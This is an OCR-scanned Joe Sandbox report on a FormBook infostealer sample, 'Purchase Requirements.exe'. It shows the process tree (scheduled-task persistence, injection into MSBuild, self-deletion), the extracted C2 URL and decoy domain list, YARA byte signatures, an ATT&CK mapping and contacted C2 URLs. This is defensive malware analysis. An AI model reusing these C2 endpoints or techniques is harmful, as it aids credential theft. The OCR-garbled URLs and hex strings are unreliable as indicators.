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Windows Analysis Report Purchase Requirements.exe

. . Yara detected FormBook
Most interesting Screenshot:

FormBook €2 URLs / IPs found|in malware con...

Score: 100 Initial' sample is a PE file and has a. ...

Overview
General Information Detection Signatures Classification
Sample Purchase 3 3
Name: Requirements.exe MALICIOUS Found malware configuration
Analysis ID: 458827 Malicious sample detected (through ...
MDS: 5bd387d81d1d7d.. Multi AV Scanner detection for dropp...
SHAL:
2832689604786 Multi AV Scanner detection for subm...
SHA256: fe7e173fd8a3d64. . "
Snort IDS alert for network traffic (e....
Infos: DRQg T Q ,
Yara detected AntiVM3
bV
Range: 0-100 Injects a PE file into/a foreign proce...
Whitelisted: false
X Machine Learning detection for dropp...
Confidence: 100%

ree

= System is w10x64

e [ Purchase Requirements.exe (PID: 6556 cmdline: 'C:\Users\user\Desktop\Purchase Requirements.exe' MD5: 5BD387D81D1D7D7FD4DBEABEBBB46B1B)
e [ schtasks.exe (PID: 6936 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\UCNSWpQKXBXg' /XML 'C:\Users\user\AppData\Local\Temp\tmp47B.tmp' MD5:
15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 6992 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. 55 MSBuild.exe (PID: 7032 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. :,Q colorcpl.exe (PID: 4592 cmdline: C:\Windows\SysWOWS&64\colorcpl.exe MD5: 746F3B5E7652EA0766BA10414D317981)
. cmd.exe (PID: 5908 cmdline: /c del ‘C:\Windows\Microsoft. NET\Framework\v4.0.30319\MSBuild.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.narrowpathwc.com/n8ba/"

1,

"decoy": [
"thefitflect.com",
"anytourist.com”,
"blggz.xyz",

"ascope.club”,
"obyeboss.com",
"braun-mathematik.online",
"mtsnurulislamsby.com”,
"jwpropertiestn.com",
"animalds.com”,
"cunerier.com”,
"sillysocklife.com”,
"shopliyonamaaghin.net",
"theredcymbalsco.com”,
"lostbikeproject.com”,
"ryggoqlmga.club”,
"realestatetriggers.com”,
"luvlauricephotography.com”,
"cheesehome.cloud",
"5fashionfix.net",
"wata-6-rwem.net",
"ominvestment.net",
"rrinuwsq643do2.xyz",
"teamtacozzzz.com",
"newjerseyreosales.com”,
"theresahovo.com”,
"wowmovies. today",
"77k6tgikpbs39.net",
"americagoldenwheels.com",
"digitaladbasket.com",
"gcagame.com",
"arielatkins.net",
"2020coaches.com”,
"effthisshit.com",
"nycabl.com",
"fbvanminh.com",
"lovebirdsgifts.com",
"anxietyxpill.com",
"recaptcha-1lnc.com",
"aprendelspr.com”,
"expatinsur.com",
"backtothesimplethings.com”,
"pcf-it.services”,
"wintonplaceoh.com”,
"designermotherhood.com”,
"naamt.com”,
"lifestylebykendra.com”,
"thehighstatusemporium.com",
"oneninelacrosse.com”,
"mariasmoworldwide.com",
"kitesurf-piraten.net”,
"atelierbond.com”,
"mynjelderlaw.com”,
"moucopia.com”,
"hauhome.club”,
"imroundtable.com”,
"thralink.com",
"baoequities.com”,
"passy.cloud",
"goldenstatelabradoodles.com”,
"revenueremedyintensive.com”,
"dfendglobal.com”,
"pugliaandgastronomy.com”,
"cypios.net",
"trinioware.com"

Yara Overview

Memory Dumps

Source Rule

00000007.00000002.769728719.00000000010C JoeSecurity_FormBook
0000.00000040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000007.00000002.769728719.00000000010C
0000.00000040.00000001.sdmp

00000007.00000002.769728719.00000000010C
0000.00000040.00000001.sdmp

Rule Description

Formbook_1

yara-signator

Formbook
memory

00000007.00000002.769097230.0000000000400000.00000 JoeSecurity_FormBook  Yara detected

040.00000001.sdmp

00000007.00000002.769097230.0000000000400000.00000 Formbook_1

040.00000001.sdmp

Unpacked PEs

Source

7.2.MSBuild.exe.400000.0.unpack

7.2.MSBuild.exe.400000.0.unpack

7.2.MSBuild.exe.400000.0.unpack

7.2.MSBuild.exe.400000.0.raw.unpack

7.2.MSBuild.exe.400000.0.raw.unpack

Copyright Joe Security LLC 2021

FormBook

yara-signator

Click to see the 18 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

Yara detected
FormBook

JoeSecurity_FormBook

Formbook_1

yara-signator

Click to see the 1 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

e o o o o o

0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 739585 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

e 0Ox77e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

.

e o o o

e o o o

0x7b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x13895:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x158b9:$sqlite3step: 68 34 1C 7B E1
0x159cc:$sqlite3step: 68 34 1C 7B E1
0x158e8:$sqlite3text: 68 38 2A 90 C5
0x15a0d:$sqlite3text: 68 38 2A 90 C5
0x158fh:$sqglite3blob: 68 53 D8 7F 8C
0x15a23:$sqlite3blob: 68 53 D8 7F 8C

0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

System Summary: | |

Sigma detected: Possible Applocker Bypass

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

=

Yara detected FormBook

]‘

System Summary:

Malicious sample detected (through community Yara rule)

Boot Survival:

=

Malware Analysis System Evasion:

=

Yara detected AntiVM3

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Copyright Joe Security LLC 2021 Page 7 of 29



Stealing of Sensitive Information: | |

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Scheduled Scheduled Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted Eavesdrop
Accounts Task/Job g§ Task/Job Injection Credential Discovery Services Collected  Over Other Channel Insecure
Dumping Data Network Network
Medium Communice
Default Shared Boot or Scheduled Disable or Modify LSASS Process Discovery Remote Data from  Exfiltration Ingress Tool Exploit SS7
Accounts Modules Logon Task/Job Tools Memory Desktop Removable Over Transfer Redirect Ph
Initialization Protocol Media Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Virtualization/Sandbox  Security Virtualization/Sandbox SMB/Windows Data from  Automated Non- Exploit SS7
Accounts (Windows)  (Windows) Evasion Account  Evasion Admin Shares Network  Exfiltration Application Track Devic
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Application SIM Card
Accounts (Windows)  (Mac) (Mac) Injection Discovery Component Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Deobfuscate/Decode  LSA File and Directory SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels Device
Size Limits Communice
Replication  Launchd Rc.common  Rc.common Obfuscated Files or  Cached System Information ~ VNC GUI Input  Exfiltration  Multiband Jamming or
Through Information Domain  Discovery (§ (38 Capture  OverC2  Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Items Software Packing DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Rogue Wi-F
Remote Task Items Remote Capture Over Used Port Access Poit
Services Management Alternative
Protocol
Drive-by Command  Scheduled  Scheduled Timestomp Proc Network Service Shared Credential Exfiltration  Application Downgrade
Compromise and Task/Job Task/Job Filesystem Scanning Webroot API Over Layer Protocol Insecure
Scripting Hooking Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph

Copyright Joe Security LLC 2021 Page 8 of 29
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

Copyright Joe Security LLC 2021
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Recy d

Purchase
Requireme

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Purchase Requirements.exe 34% Virustotal Browse
Purchase Requirements.exe 33% ReversingLabs ByteCode-

MSIL.Spyware.Noon
Purchase Requirements.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Roaming\UCnSWpQKXBXg.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\UCnSWpQKXBXg.exe 33% ReversingLabs ByteCode-

MSIL.Spyware.Noon

Unpacked PE Files

Source Detection Scanner Label Link Download
7.2.MSBuild.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
Domains

Source Detection Scanner Label Link
www.braun-mathematik.online 0% Virustotal Browse

Copyright Joe Security LLC 2021 Page 10 of 29


https://www.virustotal.com/gui/file/fe7e173fd8a3d646508573bb2f7ef52f7efd25a8e2aef1b754dcf95ceb797f8a/detection/f-fe7e173fd8a3d646508573bb2f7ef52f7efd25a8e2aef1b754dcf95ceb797f8a-1627996842
https://www.virustotal.com/gui/url/b3a5581a3f7cccc68f99ef3e9ff6c577c65b2e348ab7daec243b8ce92605c40c/detection/u-b3a5581a3f7cccc68f99ef3e9ff6c577c65b2e348ab7daec243b8ce92605c40c-1602090105

Source Detection Scanner Label Link

shops.myshopify.com 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http:/fcdn.jsinit.directfwd.com/sk-jspark_init.php 0% Avira URL Cloud safe
http:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
http:/fwww.founder.com.cn/cnTCr 0% Avira URL Cloud  safe
http:/fwww.mariasmoworldwide.com/n8ba/? 0% Avira URL Cloud  safe
YDKPpTg0=gDLflU22h4aNrBeOW4VXQ696ddSmWDeh6I9xRo3nz/h3BsDrL/4ZQIL6r35kaA0glkfe&FHtx

=1bcPI8IOPFatcZcp

http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.narrowpathwc.com/n8ba/? 0% Avira URL Cloud  safe

YDKPpTg0=RqoVB/kRDotnM81a68VGCKADOSWVXhGBA2hw7fPCanVTcO/rOwYF2QFNLO8VRrR2bvla
&FHtx=1bcPI8IOPFatcZcp

hitp://www.braun-mathematik.online/n8ba/? 0% AviraURL Cloud  safe
YDKPpTgO=+h7Xj+nXKVKialR46Fqlcf2yPuoKyU42UFvvfLIT79wfatbglizaH2e1li+WvrVB3N3qO&FHtx=1

bcPI8IOPFatcZep

http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
www.narrowpathwc.com/n8ba/ 0% Avira URL Cloud safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.founder.com.cn/cn/cThe 0% URL Reputation safe
http:/fwww.thefitflect.com/n8ba/? 0% Avira URL Cloud  safe

YDKPpTg0=0vBVvP1Su9fWFYOUPkWOanmpJMImANCcukNJzgBj3kCnMbGPnYOnffSN4Ec4XgmlqGLm
b&FHtx=1bcPI8IOPFatcZcp

http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/ifontfabrik.com 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.founder.com.cn/cna-e5 0% Avira URL Cloud  safe
http:/fwww.founder.com.cn/cn/-e5 0% Avira URL Cloud  safe
http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
http:/fwww.theredcymbalsco.com/n8ba/? 0% Avira URL Cloud  safe

YDKPpTg0=9vokcWjvDccQU4AMCmMO9VADFSZD35cLZafvOmNDf58+cug+V2woxjt+NJEAWVIinYEz7b&F
Htx=1bcPI8IOPFatcZcp

http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.founder.com.cn/cna 0% URL Reputation safe
http:/fwww.mynjelderlaw.com/n8ba/? 0% Avira URL Cloud safe
YDKPpTg0=j7TP3kg+SFNKJILKMby/j4R6QZt01j85Usiv6 TCoiWa/2cyAi3BRSjJegqOIHS5IvzIL&FHix=1bc

PI8IOPFatcZcp

http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.founder.com.cn/cnn-u 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.fontbureau.com8 0% Avira URL Cloud safe
http:/fwww.fontbureau.comionoB 0% Avira URL Cloud safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe
hitp://www.goldenstatelabradoodles.com/n8ba/? 0% Avira URL Cloud  safe
YDKPpTg0=e60qEcsD/I81wBObMHsW7u7BjuDaTcxFYqyxe5BzlIGz/XxR5NT7a3L6d+84twItNKT87 &FHtx

=1bcPI8IOPFatcZcp

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
teamtacozzzz.com 34.102.136.180 true false unknown

goldenstatelabradoodles.com 34.102.136.180 true false unknown

Copyright Joe Security LLC 2021 Page 11 of 29


https://www.virustotal.com/gui/url/62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957/detection/u-62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957-1617025020
https://www.virustotal.com/gui/url/b3a5581a3f7cccc68f99ef3e9ff6c577c65b2e348ab7daec243b8ce92605c40c/detection/u-b3a5581a3f7cccc68f99ef3e9ff6c577c65b2e348ab7daec243b8ce92605c40c-1602090105
https://www.virustotal.com/gui/url/62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957/detection/u-62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957-1617025020

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fwww.theredcymbalsco.com/n8ba/? false e Avira URL Cloud: safe unknown
YDKPpTg0=9vokcWjvDccQUAMCmMO9VADFSZD35cLZafvOmNDf58+cuqg+V2woxjt+NJE4AWV9i
nYEz7b&FHtx=1bcPI8I0PFatcZcp

http:/fwww.goldenstatelabradoodles.com/n8ba/? false e Avira URL Cloud: safe unknown
YDKPpTg0=e60qEcsD/I81wBObMHsW7u7BjuDaTcxFYqyxe5BzIIGz/xRENT7a3L6d+84twItNK
T87&FHtx=1bcPI8IOPFatcZcp

URLs from Memory and Binaries

Contacted IPs

P Domain Country Flag ASN ASN Name Malicious

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 458827

Start date: 03.08.2021

Start time: 19:25:10

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 11m 21s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Purchase Requirements.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Copyright Joe Security LLC 2021 Page 12 of 29



Number of analysed new started processes 22

analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad. WinEXE@10/4@8/6
EGA Information: Failed
HDC Information: e Successful, ratio: 59.6% (good quality ratio 53.9%)

e Quality average: 72.2%
e Quality standard deviation: 32.2%

HCA Information: e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

* Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

19:26:10 API Interceptor 1x Sleep call for process: Purchase Requirements.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

217.160.0.129 Get hash malicious Browse e www.braun-

mathemati
k.online/n8ba/?
ugL=+
h7Xj+nXKVK
ialR46Fqglc
f2yPuoKyU4
2UFWILIT7
9wfatbgli2
aH2eli+WF0
1x3J1i0&0X
Tp_f=5joHJ
Fap7tcH7lo

160.153.136.3 Get hash malicious Browse * www.narro

wpathwec.co
m/n8ba/?U8
L=RqoVB/kR
DotnM81a68
VGCKADOSWV
XhGBA2hw7f
PCanVTcO/r
OWYF2QFNLO
8FObh2ftta
&OXTp_f=5]
oHJFap7tcH7lo
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https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

* www.green
mommarket.
com/wufn/?-ZYx-
=logr
QKgfHyiXoC
6u9q1z/5Z2Q
b95Lylngc2
eREaPunulG
h2txwecVTY6
ngqgNGtg45w
Ub8TCH42Ew
==&7n=pDKh
8nopV2b0o

e www.solan
ohomebuyer
class.com/wufn/?
p8=+zzRrn2Jzbu
rp+jld/o3Z
SAnv7QTnqV
iuhoXO7;DM
Kz7r0VxysM
HsmA+3Xbpt
m7bowxI&w6
A=TBaP_0V

o www.fleet
repsusa.co
m/c8ec/?w4
Tdkvu=917a
+LkwhDOpbS
dRmgLKj7YU
i0+gkhrBaO
jYaoeXfQTs
328/PNb+MT
W5/2v14Vky
QELt&OtBP=
A2MthVhOlb

e www.solan
ohomebuyer
class.com/wufn/?
f8TPbh=+zzRrn2
Jzburp+jld
/03ZSANV7Q
TngViuhoXO
7|DMKz7r0vV
XysMHsmA+3
XXp+23Ytgx
zZ0Wr52Q==&
mVEhB=4hPx
HDz

e www.solan
ohomebuyer
class.com/wufn/?
EZwxI0z8=+zzRr
n2Jzburp+j
1d/03ZSAnv
7QTngViuho
XO7jDMKz7r
0VxysMHsmA
+3U7T93bju
XQi&WH=3fu
XGd

o www.devgm
or.com/p4se/?
j8kTd=3
AjxmcTVICp
C7ma+KZzew
nt78JTs581
Yvjd5X9kjX
N7jRP25zy6
AppwRbNNJJ
uhTk5qué&XI|
=8ptXsvhhshn

o www.stgil
espantry.c
om/plnr/?b
2MTsl=rolp
glicPIWuRH
VAGE2GwgV
iR5v9blhYS
2FJX1ENzfO
1JIOTREXWI
0VOyAdarV/
CJIV4&2dZxI
R=0ZIXBzE
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https://view.joesandbox.com/analysis/358610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid
https://view.joesandbox.com/analysis/357772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357772/html/none?idtype=webid
https://view.joesandbox.com/analysis/357564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357564/html/none?idtype=webid
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid
https://view.joesandbox.com/analysis/357213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357213/html/none?idtype=webid
https://view.joesandbox.com/analysis/356540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356540/html/none?idtype=webid
https://view.joesandbox.com/analysis/356092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356092/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse o www.lknst
ump.com/m6b5/?
9rvVDIv
0=rWikOFXp
ygEHOZjjtk
CnxP9a/ZXJ
k6EYrkIACG
+bBDgTAbIG
Y8SkU9OA/z
eFMxKBprcl
ONW5Ng==&4
h=Dtxh6

Get hash malicious Browse o www.wildh
are.media/p6f2/?
613tGz=uIND+mf
PfZM3TEZ6Q
OWqJ+LX2fj
JHIUEC/2pz
j9QTBw/bcl
md+4Eggpgl
ePfLQjQI3J
1&fAXT4F=0
808TFa8yH_4hD

Get hash malicious Browse e www.surreal-
myzrael
.com/z7al?
9rBL=_PRdJ
JRHWRYO_XG
P&fHPxoNd=
CJOIYPhqOT
elv77fkroO
5P+gqdD228
0GYQKo6ked
tkHWI7v6RE
InoBoe7rK5
QEPNUSLt

Get hash malicious Browse e www.surreal-
myzrael
.com/z7a/?
j8F=CJOIYP
hq9Telv77f
kroO5P+gqd
D2280GYQKo
6kedtkHwI7
V6REInoBoe
7rKTPO/NQQ
Dt&fPA8BhN=
BvJp

Get hash malicious Browse o www.elega
ntloungeby
jvs.com/ymmi/?
oNG6t-8
f=1p4gRrVE
Fb86tvtitZ
MKPsw5HPj5
Oz/VmIsMLm
GDGi1zj6MJ
3ilXOX+93
6yGubJwly2
&TladAF=1b
fpaFH8

Get hash malicious Browse e www.solan
ohomebuyer
class.com/wufn/?
5jzIX=A6R8FpVP
J&KODLUPK=
+zzRrn2Jzb
urp+jld/o3
ZSAnv7QTnq
ViuhoXO7jD
MKz7r0Vxys
MHsmA+3Xbp
tm7bOwx!

Get hash malicious Browse e www.aredn
tech.com/cca/?
5jo8sv
vx=Bzw7gyC
luaQZ+FCJq
4Sehmh3S9s
7zNEczwhXj
6XEINE49J0
jciyaRx/bk
30ZPQGZwIE
H&mODx=Qvyp
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https://view.joesandbox.com/analysis/356024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356024/html/none?idtype=webid
https://view.joesandbox.com/analysis/355827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/355827/html/none?idtype=webid
https://view.joesandbox.com/analysis/354861/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354861/html/none?idtype=webid
https://view.joesandbox.com/analysis/353557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353557/html/none?idtype=webid
https://view.joesandbox.com/analysis/353243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353243/html/none?idtype=webid
https://view.joesandbox.com/analysis/352335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352335/html/none?idtype=webid
https://view.joesandbox.com/analysis/352051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352051/html/none?idtype=webid

Match

Domains

Match
www.braun-mathematik.online

shops.myshopify.com

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

>
n
7]
[=]
S
)
1]
Qo
[
o
3
S
o
4
o
3
o
(=
a
r

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

® www.inspi

redpractic
e.net/csls/?
TF=AAOfy
BWZEga4qdB
KIOjABQbX+
M95wQKAQ1m
AilVom1Vuw
05GTURTt5L
/csoETBCAZ
87VsV938g=
=&4hEp3=5j
OTrpshaf

e www.value

preneursha
feeq.com/ceOa/?
6lIx=pw7IlJhxrl
NIn5+5eBap
wH2jf8zpof
qDtRSQ2wj2
HyOh1rqgWCq
3WOF+C6/I5
DO7jcWV9&v
J=dR-T2hLh6xi8x

o www.getof

fyourhighh
orses.com/
n7ak/?ijIX
Gh1=BMm8ed
GK58tVuwDL
BJVJAIh/uC
eFZfzQg7uq
lyXo87QYP7
NZp31jNinL
LedeJDmije
IW&WpiX1=9
r5d92_H1jGt

o www.bella

flowersart
.com/084d/?
PP98=9rQL
&m85xfn=yY
kB3wmhfvHM
liQRUOa8IC
cqqSG4n+Ad
DrOTdgJhsr
9L6KAIDSHX
+XyPwVr7Sp
14ybb4NHI20Q==

e www.thefu

lIright.com/084d/?
TXQ=jF51LQ0A
A/K6hdRUKS
Qmjm/ceUgF
XdGLFEEIBE
CHTdtR/yjD
+ewsggeOmK
WFyRA8+SlIq
Y0aiGA==&e
48x=MpNHFH
q0i2ylUT_0

Context

e 217.160.0.129
e 23.227.38.74
e 23.227.38.74
23.227.38.74

23.227.38.74

23.227.38.74
23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74
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https://view.joesandbox.com/analysis/351937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351937/html/none?idtype=webid
https://view.joesandbox.com/analysis/351711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351711/html/none?idtype=webid
https://view.joesandbox.com/analysis/350788/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/350788/html/none?idtype=webid
https://view.joesandbox.com/analysis/348319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348319/html/none?idtype=webid
https://view.joesandbox.com/analysis/347691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347691/html/none?idtype=webid
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid#static
